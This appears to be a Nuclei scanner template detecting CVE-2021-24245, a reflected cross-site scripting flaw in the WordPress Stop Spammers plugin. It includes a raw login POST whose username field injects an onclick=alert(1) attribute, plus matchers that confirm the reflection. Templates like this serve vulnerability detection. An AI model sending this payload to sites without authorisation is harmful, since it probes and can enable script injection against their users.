id: CVE-2021-24245 info: name: WordPress Stop Spammers <2021.9 - Cross-Site Scripting author: edoardottt severity: medium description: WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions. remediation: | Update to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability. reference: - https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html - https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735 - https://nvd.nist.gov/vuln/detail/CVE-2021-24245 - http://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24245 cwe-id: CWE-79 epss-score: 0.00177 epss-percentile: 0.54722 cpe: cpe:2.3:a:trumani:stop_spammers:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: trumani product: stop_spammers framework: wordpress tags: wpscan,cve,cve2021,wordpress,xss,wp-plugin,packetstorm,trumani http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP+Cookie+check; log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1 matchers-condition: and matchers: - type: word part: header words: - "text/html" - type: word part: body words: - "ad\" accesskey=X onclick=alert(1)" - type: status status: - 200 # digest: 4a0a0047304502205317db67e325351e198b7bf8ac705ed649d37d175aa722d1f7650958028eb80a022100eac09cebf55a76e9745ae7fa9bb3dff365a03700022e126bc1a6b61825e79ee5:922c64590222798bb761d5b6d8e72950